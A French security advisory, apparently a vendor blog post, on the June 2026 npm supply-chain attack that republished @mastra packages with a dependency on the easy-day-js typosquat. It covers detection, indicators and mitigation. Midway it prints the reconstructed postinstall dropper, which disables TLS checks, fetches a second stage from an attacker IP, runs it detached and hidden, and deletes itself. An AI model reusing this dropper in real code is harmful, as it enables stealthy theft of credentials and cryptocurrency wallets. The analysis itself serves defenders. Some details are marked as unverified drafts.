En bref
Quoi : Le 17 juin 2026, un pirate a utilisé un compte de responsable de maintenance piraté pour republier plus de 140 paquets sur l'ensemble du @mastra npm scope, le framework d'agents IA développé par l'équipe à l'origine de Gatsby. Le code de la bibliothèque n'a pas été modifié ; chaque version s'est contentée d'ajouter une ligne de dépendance pointant vers easy-day-js, un typosquat de dayjs qui exécute une charge utile distante lors de l'installation.
Conséquences : Plus de 140 paquets ont été republiés en environ 88 minutes (les chiffres varient entre plus de 140 et 144). Ce projet génère des dizaines de millions de téléchargements par mois (les éditeurs estiment le total à près de 29 millions ; @mastra/core à lui seul représente environ 4 millions par mois, soit environ 918 000 par semaine), bien que la portée réelle soit plus restreinte, puisque vous n'êtes exposé que si vous avez effectué l'installation à partir du 17 juin. La charge utile est un programme multiplateforme conçu pour voler des informations et des cryptomonnaies, qui persiste sous Windows, macOS et Linux et envoie des signaux vers l'infrastructure des attaquants.
Statut : Le nettoyage de npm semble être en cours : easy-day-js supprimé, le compte ehindero retiré de la liste des propriétaires, les dernières balises malveillantes annulées, et Mastra a déployé progressivement des versions propres. Cependant, les miroirs, les caches, les fichiers de verrouillage, les instantanés de paquets plus petits et les environnements déjà installés peuvent encore contenir les versions compromises. Traitez tout hôte ayant installé un paquet affecté @mastra Tout colis expédié à partir du 17 juin est considéré comme compromis jusqu’à preuve du contraire.
Niveau de gravité : Élevé. Le logiciel malveillant s'exécute lors de l'installation via npm, avant toute importation ; il suffit donc d'une simple mise à jour du fichier de verrouillage ou d'une nouvelle installation pour être affecté. Il ne s'agit pas d'un simple paquet malveillant que l'on « fixe » puis que l'on oublie ; c'est un schéma récurrent : corrompre une dépendance transitive, laisser le code du paquet de confiance intact, et laisser les hooks d'installation faire le travail.
Pourquoi est-ce important pour la gestion des paquets ? Aucun logiciel malveillant n’a été introduit dans le code de Mastra lui-même. L’attaquant a ajouté une ligne de dépendance et supprimé la provenance SLSA habituelle du projet ; ainsi, l’examen du code source du paquet en question ne permet pas de détecter la menace, car le code malveillant se trouve un niveau plus bas dans la chaîne de dépendances. C’est cette faille que SecureChain comble, en analysant les nouvelles versions lors de leur intégration (différences entre versions, dépendances nouvelles ou inutilisées, hooks d’installation, charges utiles obfusquées) avant qu’une version ne soit considérée comme fiable en aval.
Faites-le tout de suite : Vérifiez les fichiers de verrouillage pour voir s'il y a des @mastra paquet ou easy-day-js, considérer comme compromise toute machine sur laquelle il a été installé, renouveler les identifiants exposés et procéder à un audit des portefeuilles de cryptomonnaies, bloquer les deux adresses C2, et verrouiller Mastra sur la dernière version certifiée par Provenance.
Suis-je concerné ?
Vous pourriez être concerné si votre organisation :
- En avez-vous installé un ?
@mastra/*paquet, le niveau supérieurmastrapaquet, oucreate-mastraà compter du 17 juin 2026 - Exécute la commande « npm install » dans les pipelines de CI, de compilation ou de déploiement sans désactiver les scripts d'installation
- Mise à jour automatique des dépendances, ou utilisation de plages de versions qui sont remplacées par la dernière version correspondante au moment de l'installation
- Développe des agents ou des applications d'IA sur Mastra, ce qui signifie que les hôtes concernés contiennent probablement des clés d'API LLM, des identifiants de connexion au cloud et des jetons de base de données
- Utilise tout paquet qui dépend lui-même d'un composant Mastra, car le risque se transmet de manière transitive
- La présence d'extensions de navigateur de portefeuille de cryptomonnaie sur un ordinateur de développeur sur lequel une installation vulnérable a été exécutée
- Considère un éditeur connu, une installation « verte » ou une dépendance précédemment « propre » comme la garantie qu’une version est sûre
Pour commencer rapidement, vous pouvez vérifier si la dépendance « dropper » est résolue à un endroit quelconque de votre arborescence :
npm ls easy-day-js
grep -REn "@mastra/|\"mastra\"|easy-day-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
Recherchez ensuite sur les hôtes et les exécutants les traces laissées par le dropper :
ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null
find "$HOME" -maxdepth 1 -type f -name '*.js' -newermt '2026-06-17' 2>/dev/null
Si l’une ou l’autre de ces recherches donne des résultats, ne supprimez pas encore les fichiers et ne changez pas encore les clés : conservez d’abord l’hôte. Le hook d’installation a récupéré sa charge utile réelle lors de l’exécution et s’est auto-supprimé ; le dropper présent sur le disque ne représente donc pas l’intégralité du problème, et vous devrez récupérer les journaux ainsi que le processus lancé avant de commencer le nettoyage.
Qu'est-ce que l'attaque « Mastra » de easy-day-js ?
Mastra est un framework TypeScript open source permettant de créer des agents d’IA, des workflows en plusieurs étapes et des pipelines RAG, doté d’intégrations natives avec les principaux fournisseurs de modèles de langage à grande échelle (LLM), les bases de données vectorielles et les cibles de déploiement dans le cloud. Au total, ses paquets sont téléchargés des dizaines de millions de fois par mois. C’est cette portée, associée au fait que les environnements Mastra s’appuient généralement sur les identifiants mêmes recherchés par un attaquant, qui a rendu ce compte piraté si précieux.
Voici comment les choses se sont passées. Un pirate a pris le contrôle du compte npm « ehindero », celui d’un ancien contributeur de Mastra dont les droits d’accès n’avaient jamais été révoqués et qui, selon certaines sources, était inactif depuis environ 16 mois. npm ne prévoit pas d’expiration des autorisations d’accès de ce type ; ainsi, un compte de contributeur resté inactif pendant longtemps est resté une clé active pour l’ensemble de l’espace de noms. Aux premières heures du 17 juin, le pirate a exécuté ce qui était manifestement un script : il a parcouru le @mastra Il a organisé et republié les paquets les uns après les autres, plus ou moins dans l'ordre de téléchargement, par groupes serrés. Les 32 premiers paquets environ ont été traités au cours des 27 premières minutes ; le traitement global de plus de 140 paquets a duré environ 88 minutes.
Chaque paquet concerné contenait le code source original et non modifié de la bibliothèque Mastra, avec une seule ligne ajoutée dans le fichier package.json : une dépendance à easy-day-js. C'est là tout le compromis du côté de Mastra. Une seule ligne.
easy-day-js C'est là l'arme proprement dite, située un niveau plus bas. Il s'agit d'un « typosquat » de dayjs, une bibliothèque de gestion des dates comptant plus de 40 millions de téléchargements hebdomadaires, copiée de manière suffisamment fidèle pour passer inaperçue à première vue : même description, mêmes métadonnées d'auteur, même page d'accueil et même URL du dépôt, ainsi que le véritable fichier dayjs.min.js intégré. La seule différence notable dans cette version malveillante réside dans l'ajout d'un seul fichier et d'un hook post-installation chargé de l'exécuter.
C'est sur ce point qu'il faut s'attarder. Les paquets que vous devriez probablement vérifier en premier, les @mastra Ces paquets contiennent un code de bibliothèque propre. Le logiciel malveillant se trouve dans une dépendance que la plupart de ces paquets n’importent même jamais. Il n’effectue aucune tâche pour la bibliothèque. Son seul rôle est d’être résolu et installé, ce qui suffit à déclencher le hook.
Comment une seule ligne a permis de toucher tout le monde : l'astuce de la résolution des versions
L'attaquant a agi discrètement un jour plus tôt. Le 16 juin à 07 h 05 UTC, un compte associé, sergey2016, a publié [email protected] sous la forme d'un clone de dayjs épuré et entièrement fonctionnel, sans hook d'installation. Un leurre. C'est cette version épurée qui est intégrée aux paquets Mastra, déclarée comme suit :
"easy-day-js": "^1.11.21"
Tout réside dans le caractère « ^ ». Une plage avec ce caractère indique à npm de choisir la dernière version correspondante au moment de l'installation, et non pas exactement celle qui est indiquée. Ainsi, lorsque [email protected] La mise en ligne a eu lieu le 17 juin à 01 h 01 UTC avec le « dropper » intégré ; dès lors, chaque nouvelle installation d’un paquet Mastra concerné a commencé à télécharger automatiquement la version infectée. Aucune autre modification n’a été apportée à @mastra Il fallait un colis. Le poison a été dissimulé, puis substitué onze minutes avant le début de la republication à l'échelle du réseau.
Un détail technique indique qu'il ne s'agissait pas d'une opération improvisée. Socket a signalé qu'un échantillon de chargeur identique avait été repéré sur des environnements de test publics vers le 29 mai, soit environ 19 jours avant la publication de Mastra. Il s'agissait donc d'un outil réutilisé, et non d'une opération ponctuelle.
Chaque publication malveillante omettait également l’attestation de provenance SLSA que le pipeline GitHub Actions de Mastra génère habituellement, et plusieurs d’entre elles ont déclenché un contrôle de non-correspondance des métadonnées, car le dépôt mastra-ai/mastra déclaré ne garantissait pas l’authenticité de l’artefact publié. Ces deux éléments pointent dans la même direction : une publication manuelle effectuée en dehors de l’environnement d’intégration continue (CI) du projet, à l’aide d’un jeton disposant de droits à l’échelle de l’organisation.
À l'intérieur du compte-gouttes
Le fichier malveillant contenu dans [email protected] Il s'agit d'un script d'environ 4,5 Ko exécuté par un hook post-installation :
"scripts": {
"postinstall": "node setup.cjs --no-warnings"
}
Le --no-warnings Ce drapeau supprime les avertissements d'exécution de Node qui, sans cela, pourraient alerter toute personne observant le déroulement de l'installation. Le script lui-même est obscurci à l'aide d'un tableau de chaînes de caractères à alphabet personnalisé et pivoté, masqué derrière un décodeur Base64, avec un contrôle d'intégrité arithmétique — ce type de superposition vise à contrecarrer l'analyse statique qui évalue le tableau avant que la rotation ne soit effectuée. Une fois reconstituée, la routine d'installation effectue les opérations suivantes :
// 1. Disable TLS certificate validation for the whole process
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
(async () => {
try {
const stage2Url = 'https://23.254.164.92:8000/update/49890878';
const stage2C2 = '23.254.164.123:443';
// 2. Drop marker/beacon files (home or temp dir, depending on the variant)
fs.writeFileSync(path.join(os.homedir(), '.pkg_history'), __dirname, 'utf-8');
fs.writeFileSync(path.join(os.homedir(), '.pkg_logs'), markerBytes);
// 3. Fetch the second stage over the now-unverified TLS connection
const payload = await (await fetch(stage2Url)).text();
// 4. Write it to a random 24-hex-character filename
const name = crypto.randomBytes(12).toString('hex') + '.js';
const dest = path.join(os.homedir(), name);
fs.writeFileSync(dest, payload, 'utf-8');
// 5. Run it detached and hidden, so it outlives the install
child_process.spawn(process.execPath, [dest, stage2C2], {
cwd: os.homedir(), detached: true, stdio: 'ignore', windowsHide: true
}).unref();
} catch {}
finally {
// 6. Delete the dropper to remove the on-disk evidence
fs.rmSync(__filename, { force: true });
}
})();
Chaque étape a sa raison d'être. Mise en place NODE_TLS_REJECT_UNAUTHORIZED=0 permet au dropper de communiquer avec une adresse IP nue sur le port 8000, sans certificat valide. La charge utile réelle n'est jamais incluse dans l'archive tar ; elle n'est récupérée qu'au moment de l'installation, ce qui permet à l'artefact publié de rester petit et d'avoir l'air inoffensif. detached: true et .unref() ce qui signifie que le processus lancé continue de s'exécuter une fois que la commande « npm install » a terminé, et windowsHide: true le maintient hors de l'écran sous Windows. Le bloc « finally » supprime setup.cjs, si bien qu'une vérification ultérieure dans le répertoire « node_modules » ne donne aucun résultat.
Une petite subtilité à connaître concernant la génération de rapports : les fournisseurs ne s'accordent pas sur le fait de savoir si les fichiers marqueurs et la charge utile préparée sont placés dans le répertoire personnel ou dans le répertoire temporaire du système d'exploitation. Vérifiez les deux emplacements. Le comportement est le même dans les deux cas.
C’est au cours de la deuxième étape que les dégâts se produisent. Il s’agit d’un voleur d’informations multiplateforme qui collecte l’historique du navigateur, recense les données de plus de 160 extensions de navigateur liées à des portefeuilles de cryptomonnaies, installe des mécanismes de persistance sous Windows, macOS et Linux, et exfiltre les données vers le serveur C2. Il attend également des commandes, notamment un module de téléchargement et d’exécution récupéré à partir d’une URL fournie par l’attaquant. Sur un hôte de compilation Mastra, l’élément le plus précieux à portée de main est généralement l’environnement : clés API LLM, identifiants de cloud, registres et jetons CI.
Si vous avez installé une version concernée, partez du principe que c'est l'hôte qui est compromis, et pas seulement l'arborescence des paquets. Le hook n'est qu'une infime partie du problème.
Ce qui devrait changer votre façon d'envisager la prise en charge initiale
On serait tenté de classer cette affaire dans la catégorie « encore un cas de typosquatting » et de passer à autre chose. Mais ce serait passer à côté de ce qui a réellement fait échouer les moyens de défense dans cette affaire.
Mastra fonctionne globalement bien. La plateforme diffuse de véritables versions issues de l’intégration continue (CI) via le flux « trusted-publisher » de npm, et ces versions sont accompagnées d’une attestation de provenance SLSA. Le problème réside dans le fait que Mastra générait cette attestation de provenance sans toutefois l’exiger lors de l’installation. Ainsi, un jeton standard pouvait publier une version sans attestation, et aucun maillon en aval ne la rejetait. Une politique exigeant une attestation de provenance « trusted-publisher », la vérification de la signature ou des attestations aurait refusé tous les paquets de cette vague.
Voyez maintenant ce qu’un réviseur de code aurait pu remarquer. Sélectionnez n’importe quel élément concerné @mastra Le paquet et le code source de la bibliothèque. Celui-ci n'a pas été modifié. Il y a exactement une nouvelle ligne dans le fichier package.json : une dépendance à un paquet dont le nom ressemble à celui d'une bibliothèque de dates, mais que le paquet n'importe jamais. Si votre contrôle d'admission examine uniquement le code source de la bibliothèque du paquet en question, il ne détectera aucun problème, car ce code source ne contient aucune erreur.
C’est là que réside la faille, et elle présente la même nature que le problème lié à la publication par un responsable de maintenance d’un code source corrompu, à l’origine d’incidents tels que celui de Tiledesk : la violation de l’intégrité se produit en amont ou à un niveau supérieur par rapport à l’endroit vers lequel pointe le signal de confiance. L’authentification à deux facteurs (2FA) et la reconnaissance d’un éditeur familier permettent de confirmer que la version provient bien du compte authentique. Elles ne permettent toutefois pas de savoir si la version a intégré une dépendance malveillante, ni si elle a été diffusée sans la traçabilité que son propre pipeline produit habituellement.
C’est précisément cette lacune que SecureChain a été conçu pour combler. Comme il analyse les différences entre les versions lors de l’intégration au lieu de se fier à l’événement de publication, il examine ce qui a réellement changé entre la dernière version « propre » de Mastra et celle-ci : une nouvelle dépendance inutilisée ajoutée à un paquet mature, une attestation de provenance supprimée et, un niveau plus bas, un hook post-installation exécutant une charge utile obfusquée.
Ce sont précisément ces éléments qui devraient déclencher une alerte – une nouvelle dépendance inutilisée, un hook d'exécution au moment de l'installation, l'obfuscation, la récupération de données en cours d'exécution et un comportement d'exfiltration – avant que la version ne soit diffusée en aval.
L'attaque Mastra a mis en évidence une chose : un paquet apparemment sain peut tout de même contenir un logiciel malveillant |
Obtenir SecureChain |
| SecureChain analyse les composants open source avant leur installation, en vérifiant notamment les différences suspectes, les dépendances nouvelles ou inutilisées, les hooks d'installation cachés et les comportements d'exfiltration, puis assure leur sécurité jusqu'après la fin de vie (EOL). | |
Atténuation
Considérez cela comme une occasion de vérifier l'importation et l'exposition de la machine de développement, et pas seulement comme un prétexte pour augmenter le numéro de version.
- Vérifiez votre arborescence des dépendances Exécuter
npm ls easy-day-jset recherchez dans vos fichiers de verrouillage (package-lock.json, yarn.lock, pnpm-lock.yaml) les éléments suivants :@mastra,mastra, eteasy-day-js. Appliquez cette mesure à l'ensemble des dépôts et sur les machines des développeurs, et pas seulement dans l'environnement d'intégration continue (CI). Une plage de dates comprise entre le 17 juin et une date ultérieure, associée à une installation effectuée à partir du 17 juin, suffit pour avoir récupéré la charge utile. - Treat affected hosts as compromised If an affected version installed anywhere, the dropper disabled TLS validation in-process and launched a detached child fetched at runtime. Isolate the host, hunt for and kill any detached Node process spawned around install time, remove the random <24-hex>.js file and the .pkg_history / .pkg_logs markers from the home or temp directory, and check for the OS-specific persistence artifacts the second stage installs. Preserve logs before you clean.
- Renouvelez les informations confidentielles exposées et vérifiez les portefeuilles. Renouvelez tous les identifiants accessibles depuis l’hôte ou le runner : clés cloud, clés API LLM, jetons de registre et de CI, clés SSH, ainsi que tout élément contenu dans les variables d’environnement que la compilation pourrait lire. Étant donné que la deuxième étape cible les extensions de portefeuilles de cryptomonnaies, auditez tous les portefeuilles présents sur les machines des développeurs concernés, surveillez les transactions non autorisées et faites passer les portefeuilles de grande valeur à de nouvelles phrases de récupération.
- Bloquez le C2 et examinez les sorties. Bloquez le trafic sortant vers les adresses 23.254.164.92 et 23.254.164.123, puis examinez les journaux du proxy, du pare-feu et de NetFlow pour identifier les connexions vers l'une ou l'autre de ces adresses depuis le 17 juin à 01 h 12 UTC. Le blocage des adresses IP sert à nettoyer le système et à effectuer une analyse rétrospective ; il ne constitue pas une défense durable, car l'infrastructure évolue régulièrement.
- Associer les versions certifiées à leur provenance et bloquer les « typosquats » Fixez chaque dépendance Mastra à la dernière version publiée via GitHub Actions avec traçabilité, validez vos fichiers de verrouillage, puis ajoutez
easy-day-jsà votre liste noire du registre. Ajoutez à la fois 1.11.21 et 1.11.22. Le leurre reste sous le contrôle de l'attaquant, même s'il ne contenait pas le dropper. - Désactiver les scripts d'installation par défaut
npm install --ignore-scriptsneutralise cette catégorie spécifique de droppers post-installation. Adoptez-la comme valeur par défaut dans l'environnement de CI lorsque cela est possible, et répertoriez clairement la courte liste des dépendances qui nécessitent réellement des scripts de compilation, afin qu'une exception soit le fruit d'une décision délibérée plutôt que la norme tacite. - Imposer la vérification des signatures et de la provenance. Exiger une provenance provenant d’un éditeur de confiance, des signatures ou des attestations pour les dépendances à haut risque et les dépendances propriétaires. Chaque version publiée au cours de cette vague ne comportait pas sa provenance habituelle ; une politique d’installation avec vérification les aurait donc rejetées. Une période de sécurité pour les versions nouvellement publiées est également utile, car de nombreuses versions malveillantes sont détectées en l’espace de quelques heures.
Détection
Aucun résultat d'analyse isolé ne permet de confirmer l'exposition. Les indices sont dispersés entre les fichiers de verrouillage, les journaux d'installation, les systèmes de fichiers hôtes, les journaux réseau et les listes de processus. Les indices comportementaux perdurent également plus longtemps que les indices atomiques, car l'opérateur renouvelle régulièrement l'infrastructure et attribue des noms de fichiers de manière aléatoire.
Parmi les signaux utiles, on peut citer :
- Un processus « setup.cjs » de Node.js s'exécute pendant l'installation via npm
- NODE_TLS_REJECT_UNAUTHORIZED=0 défini par un script d'installation
- Un processus fils « Node » indépendant lancé pendant ou juste après l'installation, sans sortie sur la console
- Les fichiers de suivi ~/.pkg_history et ~/.pkg_logs, situés dans le répertoire personnel ou le répertoire temporaire
- Un fichier .js aléatoire composé de 24 caractères hexadécimaux situé dans le répertoire personnel ou le répertoire temporaire
- Connexions sortantes depuis un hôte de compilation ou un ordinateur de développeur vers 23.254.164.92:8000 ou 23.254.164.123:443
- Fichiers de persistance spécifiques au système d'exploitation nommés respectivement NvmProtocal, com.nvm.protocal.plist ou nvmconf.service sous Windows, macOS et Linux [vérifier les noms exacts avant publication ; informations provenant de sources secondaires]
- N'importe quel
@mastra/*oumastraune version datée du 17 juin 2026 contenue dans un fichier de verrouillage, en particulier si celle-ci a été publiée sans provenance SLSA easy-day-jsapparaissant n'importe où dans une arborescence résolue- Microsoft Defender for Endpoint signalerait apparemment la charge utile au moment de l'installation comme « Trojan:JS/ObfusNpmJs » ; par conséquent, une détection EDR correspondant à cette signature lors d'une installation npm mérite d'être considérée comme une piste sérieuse [à vérifier avant publication].
Principaux indicateurs de compromission :
[email protected]en tant que dropper utilisé à des fins malveillantes[email protected]en tant que leurre « propre », toujours sous le contrôle de l'attaquant- Les comptes de publication : ehindero pour le
@mastrales paquets, et sergey2016 poureasy-day-js - C2 et charge utile : https://23.254.164.92:8000/update/49890878 et 23.254.164.123:443
- Déclencheur d'installation : « postinstall » : « node setup.cjs –no-warnings »
Ces contrôles constituent un point de départ, et non un certificat de bonne santé.
Liste de contrôle des mesures correctives prioritaires
- Analyser les fichiers de verrouillage et les arborescences : rechercher dans chaque dépôt et sur chaque machine de développeur
@mastra,mastra,create-mastra, eteasy-day-js. - Mettre en quarantaine les hôtes concernés : isoler tout ce qui a exécuté une installation concernée avant le nettoyage.
- Conservez les preuves : conservez les journaux d'installation, l'historique des processus et les fichiers marqueurs avant de supprimer les artefacts.
- Rotation des secrets : identifiants de connexion au cloud, aux modèles de langage à grande échelle (LLM), au registre, à l'intégration continue (CI) et à SSH accessibles depuis n'importe quel hôte concerné.
- Vérification des portefeuilles : vérifiez les portefeuilles de cryptomonnaies et les extensions installées sur les machines des développeurs concernés, et générez de nouvelles phrases de récupération pour les portefeuilles contenant des montants importants.
- Supprimer la persistance : rechercher et supprimer la persistance spécifique au système d'exploitation installée par la deuxième étape sous Windows, macOS et Linux.
- Le bloc C2 et le « typosquat » : bloquer les adresses 23.254.164.92 et 23.254.164.123, et les ajouter toutes les deux à la liste noire
easy-day-jsversions. - Fixer et vérifier : associer Mastra à la dernière version dont la provenance est vérifiée et exiger des attestations lors de l'installation.
- Admission Harden : par défaut, à
--ignore-scriptsDans la mesure du possible, prévoir un délai avant la mise en place des nouvelles versions et considérer l'ajout de nouvelles dépendances ou de dépendances inutilisées comme un signal à part entière.
Pourquoi cela va bien au-delà d'une simple campagne
L'attaque Mastra n'est pas intéressante en raison de son ampleur, bien que celle-ci soit bien réelle. Elle est intéressante en raison de l'emplacement où se trouvait la modification malveillante et de son volume minime. Une seule ligne dans un paquet par ailleurs tout à fait légitime, pointant vers une dépendance située à un saut de distance, s'exécutant avant que quiconque n'importe quoi que ce soit.
Cela remet en cause les hypothèses sur lesquelles reposent la plupart des contrôles à l'entrée. Un éditeur connu n'est pas une garantie. Une installation « verte » n'est pas une garantie. Un paquet dont le code source est sain n'est pas une garantie, car le code source que vous lisez et la dépendance à l'origine du problème ne constituent pas le même artefact. Et la signature ou l'authentification à deux facteurs (2FA) permettent de confirmer l'identité de l'éditeur, mais pas la provenance des éléments qu'il a intégrés.
La position défendable consiste à examiner la version dans son ensemble, et non pas uniquement les éléments phares : ce qui a changé depuis la dernière version, si une nouvelle dépendance est apparue et si elle est réellement utilisée, si les hooks d’installation s’exécutent, si la compilation a conservé la provenance qu’elle comporte habituellement, et si un élément de l’arborescence récupère et exécute du code lors de l’installation. Il s’agit là d’un raisonnement effectué au moment de l’intégration, et c’est ce qui permet de détecter un remplacement de dépendance d’une seule ligne que la révision du code source et la confiance accordée à l’éditeur ont tous deux laissé passer.
C'est précisément le problème que SecureChain a été conçu pour résoudre. Il offre aux organisations une source fiable de composants open source, avec un filtrage des logiciels malveillants, une inspection au niveau du code source, la traçabilité de la provenance et la correction continue des vulnérabilités CVE tout au long du cycle de vie des composants. Pour les nouvelles versions de paquets, la solution analyse les différences entre les versions et signale les modifications suspectes, notamment les dépendances nouvelles ou inutilisées, les hooks d’exécution au moment de l’installation, les charges utiles obfusquées et les comportements d’exfiltration, avant qu’elles ne soient considérées comme fiables en aval.
Dans un cas comme celui de Mastra, où le paquet vecteur est publié sans problème et où le logiciel malveillant se trouve dans une dépendance en aval, cette vue au niveau des différences constitue le seul obstacle entre l'événement de publication et votre build.
Découvrez SecureChain dès maintenant →
FAQ
Les paquets Mastra étaient-ils eux-mêmes malveillants ? Non. Le code de leur bibliothèque est resté inchangé. Chaque version concernée a ajouté une seule dépendance à easy-day-js, et ce paquet contenait le dropper. Le logiciel malveillant s’est exécuté à un niveau inférieur lors de l’installation, ce qui explique pourquoi il faut vérifier le @mastra Le code source de la bibliothèque ne suffit pas à lui seul.
Je n'ai fait que mettre à jour mon fichier « lockfile » ; je n'ai jamais importé de paquet Mastra. Suis-je en sécurité ? Probablement pas. Le code malveillant s'exécute à partir d'un hook « postinstall » lors de l'installation via `npm install`, avant toute importation. La résolution et l'installation d'un paquet concerné, ou le fait de laisser une plage de caractères « caret » extraire [email protected], suffit à le déclencher.
Pourquoi le logiciel malveillant s’est-il propagé via une version « leurre » saine ? Les paquets Mastra dépendaient de « easy-day-js » : « ^1.11.21 », une version saine publiée la veille. La plage indiquée par le caractère « ^ » correspond à la dernière version disponible au moment de l’installation ; ainsi, dès que la version 1.11.22 infectée a été mise en ligne, les nouvelles installations l’ont récupérée automatiquement, sans qu’aucune modification ne soit apportée aux paquets Mastra.
La traçabilité ou la signature SLSA ont-elles permis de protéger qui que ce soit dans ce cas ? Seulement si elles avaient été appliquées. Mastra générait une traçabilité pour les publications sur CI, mais les versions malveillantes ne la comportaient pas. Une politique d'installation vérifiant les signatures ou exigeant des attestations aurait rejeté les versions concernées.
Qui était derrière tout cela ? L’attribution n’est pas confirmée. Snyk a noté que la technique utilisée, un dropper s’autodétruisant au moment de l’installation, ressemblait à la compromission d’Axios sur npm survenue plus tôt en 2026, que Microsoft Threat Intelligence avait attribuée à l’acteur qu’il suit sous le nom de Sapphire Sleet (BlueNoroff) ; toutefois, il a été clairement précisé qu’il s’agissait d’un schéma à noter, et non d’un lien confirmé avec cet incident. Il faut considérer la méthode comme ce contre quoi il faut se défendre, et non le nom de la marque.
Quelle est la mesure d'atténuation la plus rapide qui soit ? Désactivez les scripts d'installation dès que vous le pouvez. npm install --ignore-scripts bloque le hook « postinstall » et neutralise cette voie d'infection spécifique par un cheval de Troie de dépendance. Associez cette mesure à l'ancrage aux versions certifiées par provenance et à l'ajout à la liste noire. easy-day-js.
Je n'utilise que très peu de paquets npm directement. Est-ce que je risque quand même d'être exposé à un risque ? C'est possible. Le risque est transitif. Si un élément de votre arborescence dépend d'un composant Mastra compromis, vous héritez de cette dépendance vis-à-vis de easy-day-js ainsi que cela.
Quelle est la solution la plus importante à long terme ? Cesser de considérer un éditeur connu ou un paquet d’apparence « propre » comme un gage de sécurité, et déplacer les décisions de confiance vers la phase d’acceptation. Examiner les différences entre les versions, signaler les dépendances nouvelles et inutilisées, exiger la traçabilité et inspecter ce qui s’exécute lors de l’installation, plutôt que de se contenter d’analyser l’artefact final une fois qu’il se trouve déjà dans votre environnement.
Sources
- Socket : « Plus de 140 paquets npm Mastra compromis lors d'une attaque coordonnée visant la chaîne d'approvisionnement »
- SafeDep : « Mastra prend le contrôle de npm : 141 paquets contiennent un RAT »
- StepSecurity : « Attaque de la chaîne d'approvisionnement de Mastra sur npm : plus de 140 paquets infectés par une porte dérobée via un typosquat sur easy-day-js »
- The Hacker News : « 144 paquets npm de Mastra compromis suite au piratage du compte d'un contributeur »
- OX Security : « Une attaque visant la chaîne d'approvisionnement via easy-day-js touche Mastra AI sur npm »
- JFrog : « easy-day-js : une campagne sur la chaîne d'approvisionnement vise les paquets npm de Mastra »
- Endor Labs : « L'organisation Mastra npm a été compromise : plusieurs paquets ont été infectés par un cheval de Troie destiné à déployer une charge utile à distance via easy-day-js »
- Snyk : « Le compte d'un contributeur oublié a compromis l'ensemble du paquet npm Mastra »
- Mend : « Prise de contrôle de la portée npm via easy-day-js »

